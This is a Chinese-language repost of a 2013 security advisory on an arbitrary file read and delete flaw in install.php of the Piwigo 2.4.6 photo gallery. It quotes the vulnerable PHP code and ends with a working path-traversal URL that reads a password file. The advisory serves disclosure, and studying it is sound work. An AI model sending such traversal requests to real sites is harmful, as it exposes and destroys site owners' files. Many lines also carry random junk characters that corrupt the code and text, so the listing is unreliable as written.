Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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1 e' b2 p  s  _+ S3 r, g/install.php:
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0 I" V1 J& D0 x) ~, i+ X113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
9 \8 ^* n0 E! L( g( E8 T114: {
; ?! ]- ]' @7 b( ~115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' J+ G8 r3 ?% ]116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
& k' l8 @; \( g( i* Q; f1 s118:   header('Content-Disposition: attachment; filename="database.inc.php"');
. c; ^2 i4 R8 X" n( D119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
2 {* \- ^2 X- f: \121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
+ p  L$ X, V* `: b2 ^, j; T2 G124: }
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$ X' Z- A. O& L' ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
: b5 l" M: U/ E4 T  n. R           Apache 2.4.2 (Win32)
           PHP 5.4.4
* |- ?2 S" T8 r) X( M9 }           MySQL 5.5.25a
5 k. R6 c) z# w2 \! }  n8 |/ h
3 ~, O; m* c# U  L9 x  Z" c% bVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- b$ q# I3 E7 q5 h: P7 ZVendor Patch: http://piwigo.org/bugs/view.php?id=2843

/ `" J5 ~$ p5 y3 T5 u15.02.2013
" t6 v. I' t! e' k$ a1 |; K4 {* g
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

+ i0 h! p& ]$ }! G, u